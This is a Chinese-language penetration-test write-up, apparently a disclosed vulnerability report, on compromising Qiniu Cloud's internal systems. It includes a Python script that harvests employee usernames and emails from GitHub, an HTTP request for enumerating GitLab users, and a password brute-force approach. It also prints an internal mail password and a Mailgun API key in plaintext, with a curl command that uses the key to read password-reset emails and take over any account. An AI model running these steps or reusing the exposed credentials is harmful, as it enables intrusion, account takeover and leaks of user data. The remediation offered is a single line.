七牛云存储某漏洞可控制关键生产系统/重置任意用户密码
七牛云存储某漏洞可控制关键生产系统/重置任意用户密码
0x01------寻找切入点
切入点是渗透中非常重要的一个环节,这里预想了两个切入点进行测试。
预想的切入点1:收集七牛github里的用户名和邮箱,通过社工进入员工的github
为什么要找这个切入点?根据前期的信息收集,通过github可以oauth登录到七牛自建的gitlab上,也不排除有些公司在github上建有自己的私有仓库。
很多公司的员工在github上有互相关注并且公开了自己的公司名,邮箱等信息。所以这里的测试思路就是用已知的几个七牛github用户作为入口,爬取这些用户粉丝中包含qiniu、Qiniu和七牛等关键字的用户名,再访问这些用户名的主页获取用户名、昵称和邮箱
脚本如下,渣代码凑合用。
#coding=utf-8
'''
poc: Get_qiniu_github_employee_info
url: http://www.github.com
'''
import requests
import sys
from bs4 import BeautifulSoup
import re
import os
reload(sys)
sys.setdefaultencoding('utf-8')
script, filename = sys.argv
# 定义网页中的关键字
key = ['qiniu','Qiniu']
# 如果github中存在某关键字,记录下来对应的用户名
for name in open(filename):
name = name.strip('\n')
req = requests.get("https://www.github.com/%s" % name)
result = req.text
for i in key:
if i in result:
srcName = file('input.txt', 'a')
srcName.write(name + "\n")
srcName.close()
# 删除重复行
fin = list(open('input.txt'))
fout = list(set(fin))
fout.sort(key = fin.index)
handleFout = ''.join(fout)
print '包含关键字的用户名' + '\n'+ '------------------------------------------------'
# 打印和记录包含关键字的用户名
print handleFout
output = open('output.txt','a')
output.write(handleFout + '\n')
output.close()
# 获取带有关键字的粉丝用户名
def getGitName():
name = open('output.txt')
print '粉丝的用户名' + '\n' + '------------------------------------------------'
for realName in name.readlines():
realName = realName.strip('\n')
for k in range(10):
html = requests.get('https://www.github.com/%s/followers?page=%d' % (realName, k)).text
nSoup = BeautifulSoup(html,'html.parser')
link = nSoup.find_all('span',class_='css-truncate css-truncate-target')
for i in range(len(link)):
for j in key:
if j in link[i]:
print (link[i-1].contents[0].attrs)['href'][1:]
qf = open('username.txt','a')
qf.write((link[i-1].contents[0].attrs)['href'][1:] + '\n')
qf.close()
print '\n'
getGitName()
# 获取该粉丝的用户名/昵称和邮箱
def getInfo():
name = open('username.txt')
print '粉丝的用户名(昵称)和邮箱' + '\n' + '------------------------------------------------'
for username in name.readlines():
username = username.strip('\n')
info = requests.get('https://www.github.com/%s' % username).text
iSoup = BeautifulSoup(info,'html.parser')
print iSoup.title.string[:-9]
reEmail = re.compile("\w+@\w+\.\w+")
email = iSoup.find(text=reEmail)
print str(email) + '\n'
qndata = open('qndata.txt','a')
qndata.write(iSoup.title.string[:-9] + '------' + str(email) + '\n')
qndata.close()
getInfo()
os.system('rm -f input.txt output.txt username.txt')
然而结果却是,一个成功登录的都没有!后来才知道,七牛的github启用了二次验证,能登录才怪!
预想的切入点2:暴力破解。分两步,先暴破用户名再暴破密码。
1.暴破用户名
选择gitlab作为暴破暴破用户名的入口
https://gitlab.qiniu.io
将uri中的user修改为姓名即可,返回长度大于8000的就是存在的用户。我们拿了top500的字典跑,跑出来了12个。这里还有100万姓名的字典,应该能把七牛所有的gitlab用户覆盖到70%以上
GET /u/user HTTP/1.1
Host: gitlab.qiniu.io
User-Agent: Mozilla/5.0 (Windows NT x.x; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: _gitlab_session=7f28ef8963364c160f0209f4bc1708dd
Connection: close
不过这里我偷了个懒,用了上次提交的漏洞里,从ITDB系统拿到的所有员工姓名。
2.暴破密码
暴破其实已经做过,但之前拿到的并不是全量的用户名,系统和字典也没有好好选择,这次有针对性的分析下。
http://group.qbox.me/ LDAP认证,无破解封用户限制
https://evm.qiniu.com/#/signin 邮箱+密码,有5次限制
密码字典其实就包括2个密码,这两个密码在实际的渗透中出现概率极高,建议各公司把这两个密码放到字典里。然后破解了两个用户,第一个用户姓名也在100万的大字典里,所以即使没从ITDB拿用户名,结果也是一样的。
[email protected]
[email protected]
0x02------GO!
七牛的账号认证体系有几种:
1.Ldap
https://qcos.qiniu.io Qcos系统
https://crm.qiniu.io 客户管理系统
2.二次验证(关键系统)
https://admin.qiniu.io 管理后台
https://gitlab.qiniu.io 源码
3.自带账户认证的应用
https://pm.qbox.me/ redmine项目管理
https://confluence.qiniu.io Jira/Confluence wiki系统
https://jenkins.qiniu.io/ jenkins
我们只能访问Ldap和自带账户认证系统的应用,从redmine和Jira/Confluenc找到的几个重要的系统信息如下:
1.七牛用的各家CDN的信息
我们登录下腾讯云的,可以管理的域名3w多个。
这是果壳在某家CDN的日志,打开后是用户访问图片的请求,包括了图片地址。
Qcos系统,应该是七牛的核心生产系统,这是七牛几个用户的
可以进行重启,查看配置,修改等操作
接下来说下重置任意用户密码。在Jenkins里的某个deploy包里,[email protected]
mail.internal.User = [email protected]
mail.internal.Password = Ub7NasP9
七牛官网有重置密码的接口找回密码
查看邮箱,发件箱里并没有找到发送的重置密码邮件,[email protected],[email protected]
又翻了下之前的文件,收发邮件并不是一个系统,发邮件用的是mailgun,文件中包括了发件需要的key
去官网看了下他们的API说明,只要发送如下的包就能获取到mailgun对某个用户发送的邮件
curl -s --user 'api:key-a7519a16c41519bdd10e08da27453e86' -G \
https://api.mailgun.net/v3/email.qiniu.com/events \
--data-urlencode begin='Fri, 29 May 2016 09:00:00 -0000' \
--data-urlencode ascending=yes \
--data-urlencode limit=25 \
--data-urlencode pretty=yes \
--data-urlencode [email protected]
获取到的发件信息如下。
这里还要打开那个url,用户名是api,密码就是那个key
然后用获取的token重置密码
解决方案:
能放内网的系统都放内网吧